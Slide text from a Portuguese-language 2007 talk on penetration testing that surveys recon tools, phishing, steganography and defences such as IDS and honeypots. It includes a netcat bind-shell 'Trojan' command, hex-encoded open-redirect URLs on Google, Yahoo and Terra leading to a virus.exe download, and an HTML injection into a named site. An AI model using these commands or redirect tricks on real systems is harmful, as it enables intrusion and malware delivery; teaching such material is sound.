PENTEST Técnicas de invasão e defesa
Cleber Souza Brandao
[email protected]
Cleber Brandão
[email protected]
About me
Utilizo linux há 7 anos Aulas de linux Faculdades Radial Formado Gerenciamento de Redes Suporte e aulas Projeto Telecentros SP Participante do ISSA-Brasil Testes de performance e segurança BRconnection®
Tópicos
Técnicas de Invasão
Definindo um alvo Recolhendo informações Ferramentas úteis Phishing Esteganografia
Técnicas contra Invasão
Firewall + IDS HIDS HoneyPots Antispam
Técnicas de invasão
Engenharia social Brute Force Espionagem Segurança por obscuridade
Definindo um alvo Onde buscar informações? google myspace orkut google groups
Google Buscas específicas Utilizando recursos avançados do google como as tags Intitle, Inurl, Intext
Podem te trazer resultados muito interessantes.
Engenharia social
Adão e Eva
Primeiras vitimas de engenharia social
Apenas 2 coisas no mundo são infinitas, o universo e a estupidez humana. (Albert Einstein)
Ferramentas úteis
google dig nmap nessus Metasploit telnet
sendip john the ripper host hping3 netcat
dig
Uma ferramenta similar ou nslookup porém mais flexível, pode ser utilizada para fazer buscas como A,TXT, MX e NS.
dig +qr google.com any ;; ANSWER SECTION: google.com. 10186 IN google.com. 10186 IN google.com. 10186 IN google.com. 10186 IN google.com. 318637 IN google.com. 318637 IN google.com. 318637 IN google.com. 318637 IN
MX MX MX MX NS NS NS NS
10 smtp2.google.com. 10 smtp3.google.com. 10 smtp4.google.com. 10 smtp1.google.com. ns1.google.com. ns2.google.com. ns3.google.com. ns4.google.com.
;; AUTHORITY SECTION: google.com. 318637 google.com. 318637 google.com. 318637 google.com. 318637
NS NS NS NS
ns2.google.com. ns3.google.com. ns4.google.com. ns1.google.com.
IN IN IN IN
;; ADDITIONAL SECTION: smtp1.google.com. 2986 smtp2.google.com. 2986 smtp3.google.com. 2986 smtp4.google.com. 2986 ns1.google.com. 345220 ns2.google.com. 345220 ns3.google.com. 345219 ns4.google.com. 345219
IN IN IN IN IN IN IN IN
A A A A A A A A
72.14.203.25 64.233.167.25 64.233.183.25 72.14.215.25 216.239.32.10 216.239.34.10 216.239.36.10 216.239.38.10
PortScan
Nmap
é o mais famoso portscan existente hoje. (www.insecure.org/nmap). É uma ótima ferramenta, muito utilizado por hackers, para descobrir falhas no sistema, em portas abertas desnecessariamente.
Nessus
O Nessus é uma ferramenta de auditoria muito usada para detectar e corrigir vulnerabilidades nos PCs da rede local porem é muito utilizado por hackers para descobrir a vulnerabilidade de um alvo.
Reports Nessus Scan Report SUMMARY - Number of hosts which were alive during the test : 1 - Number of security holes found : 1 - Number of security warnings found : 1 - Number of security notes found : 15
Reports DETAILS . List of open ports : o smtp (25/tcp) (Security notes found) o ssh (22/tcp) (Security notes found) o ftp (21/tcp) (Security notes found)
Reports Information found on port smtp (25/tcp) An SMTP server is running on this port Here is its banner : 220 note-clebeer ESMTP Sendmail 8.14.1/8.14.1/Debian-8ubuntu1; Thu, 1 Nov 2007 09:35:31 -0300; (No UCE/UBE) logging access from: localhost(OK)-localhost [127.0.0.1] . Information found on port smtp (25/tcp) Remote SMTP server banner : 220 note-clebeer ESMTP Sendmail 8.14.1/8.14.1/Debian-8ubuntu1; Thu, 1 Nov 2007 09:35:57 -0300; (No UCE/UBE) logging access from: localhost(OK)-localhost [127.0.0.1] This is probably: Sendmail version 8.14.1
Reports . Information found on port ssh (22/tcp) An ssh server is running on this port . Information found on port ssh (22/tcp) Remote SSH version : SSH-2.0-OpenSSH_4.6p1 Debian-5build1 Remote SSH supported authentication : publickey,password Remote SSH banner : CleBeer's |_b note.
Reports
Metasploit é um ambiente utilizado para escrever, testar, e executa códigos de exploit. Foi desenvolvido para prover penetração e testes em computadores relacionados a esse assunto, como também pesquisa de vulnerabilidade.
Metasploit
Linha de comando
Interface web
http://127.0.0.1:55555/
http://127.0.0.1:55555/
msfconsole
telnet www.alvo.com.br 80 Trying 200.189.171.181... Connected to www.alvo.com.br. Escape character is '^]'. GET / HTTP/1.1 Host: www.alvo.com.br
Resultado Server: Microsoft-IIS/5.0 X-Powered-By: ASP.NET Content-Location: http://www.alvo.com.br/index.htm Date: Thu, 01 Nov 2007 13:26:39 GMT Content-Type: text/html Accept-Ranges: bytes Last-Modified: Tue, 19 Sep 2006 00:27:32 GMT
John the ripper
Um programa usado para decifrar senhas suportado nas plataformas UNIX, DOS, WinNT?/Win95. É um programa disponível gratuitamente desenvolvido para decifrar senhas MD5, DES baseado na função CRYPT.
Usar senhas fortes?
Nem sempre é a solução
hping3
Mais uma ferramenta capaz de enviar pacotes TCP, UDP e ICMP personalizados e receber respostas como consegue em icmp. Com ele você pode enviar arquivos encapsulados e é util para ataques DoS.
netcat
Programa para consultoria de redes muito conhecido, isso deve-se ao fato de ele ser um programa muito versátil, podendo desde ser um simples telnet, portscan até um sniffer.
Trojan nc -l -e /bin/bash -p 1033 A porta 1033 será colocada em listenning, redirecionaremos a saída de dados para um shell (/bin/bash). Assim quando alguém se conectar a essa porta terá domínio total sobre o computador.
Sniffer # nc -vv -z 75.126.176.71 -p 80 22 110 25 21 servidor9.molservidores.com [75.126.176.71] 22 (ssh) : Connection refused servidor9.molservidores.com [75.126.176.71] 110 (pop3) open servidor9.molservidores.com [75.126.176.71] 25 (smtp) open servidor9.molservidores.com [75.126.176.71] 21 (ftp) open
Phishing
O que é phishing? Phishing é um tipo de fraude projetada para roubar sua identidade. Em um phishing scam, uma pessoa mal-intencionada tenta obter informações como números de cartões de crédito, senhas, dados de contas ou outras informações pessoais convencendo você a fornecê-las sob pretextos enganosos.
Exemplos Alguns sites famosos que permitem este tipo de fake: google yahoo terra
Google
http://www.google.com/pagead/iclk?sa=l&ai=Br3ycNQz5QfXBJGSiQLU0eDSAueHkArnhtWZAuFmQWgjlkQAxgFKAg4AEDKEUiFOVD-4r2fP____8BoAGyqor_A8gBAZUCCapCCqkCxU7NLQH0sz4&num=5&a durl=%63%6c%65%62%65%65%72%2e%6e%6f%2d%69%70%2e %6f%72%67%2f%76%69%72%75%73%2e%65%78%65
Yahoo
http://br.wrs.yahoo.com/_ylt=A0geum1Mv9RGw4EB6FXz6Qt./SIG=1 29lovkbd/EXP=1188434124/**%63%6c%65%62%65%65%72%2e %6e%6f%2d%69%70%2e%6f%72%67%2f %76%69%72%75%73%2e%65%78%65
Buscador terra
http://buscador.terra.com.br/Redirector.aspx? bstat=terrastats01&type=CK&source=buscador.terra.com.br&id=spon sored&partner=google&query=nike&position=1&target=%63%6c %65%62%65%65%72%2e%6e%6f%2d%69%70%2e%6f %72%67%2f%76%69%72%75%73%2e%65%78%65
Destino???
Nas 3 URLs anteriores a requisição seria encaminhada para:
clebeer.no-ip.org/virus.exe
Outro Exemplo
http://www.cceinformatica.com.br/
[email protected]
Adicionando... &tipo=%3Cimg%20src=http://images.clebeer.multiply.com/logo/2%3E
Esteganografia
Esteganografia basicamente é uma técnica de esconder um arquivo dentro de outro arquivo, podendo ser uma imagem , ou documento do Word até mesmo uma planilha de excel e etc só que de uma forma criptografada.
jp(hide an seek)
O jphide e o jpseek são programas utilizados para esconder mensagens em arquivos JPEG.
origem.jpg
destino.jpg
msg.txt Ola esta mensagem e secreta e somente pessoas que possuam a senha podem vê-la senha: @@(##!(*#$#*(!(@&%$(@)codDEVdw)2231
Utilização Esconder mensagem: jphide origem.jpg destino.jpg mensagem.txt
Descobir mensagem: jpseek destino.jpg texto-secreto.txt
Quanto vale?
Trojan (Shell) - US$ 350,00 - US$700,00 Trojan (Roubo de Senhas) - US$600,00 Listagem E-mail (32 milhões) - US$1.500,00 Milhões de Usuários do ICQ - US$150,00 Proteção Contra Detecção do Trojan - US$20,00 Suporte
Tecnicas contra invasão
Firewall (NHWK)IDS HoneyPots Antispam
Firewall
Port Knock, uma solução leve e fácil de configurar, permite que portas específicas só sejam abertas no momento desejado atraves de tentativas de conexão em portas específicas.
*IDS
NIDS – Network Intrusion Detection System HIDS - Host-based Intrusion Detection System WIDS – Wireless Intrusion Detection System KIDS - Kernel Intrusion Detection System
Honeypot
Útil para vigilância e alerta aos tipos de ataques mais utilizados porem deve ser utilizado com cuidado para que o invasor não tenha acesso a rede real.
Antispam
Indispensável para qualquer MX, útil para evitar emails forjados e de domínios não confiaveis, pode ser incrementado com opções de RBL e CAPTCHA ("Completely Automated Public Turing test to tell Computers and Humans Apart").
Conclusão
Com a popularidade do SL a informação ficou mais acessível o que colaborou para um maior avanço das técnicas de invasão, em contra partida os sistemas de segurança vem se tornando mais estáveis a casa dia.
Créditos
www.google.com www.brc.com.br naopod.com.br spookerlabs.multiply.com http://cartilha.cert.br/malware/
Perguntas
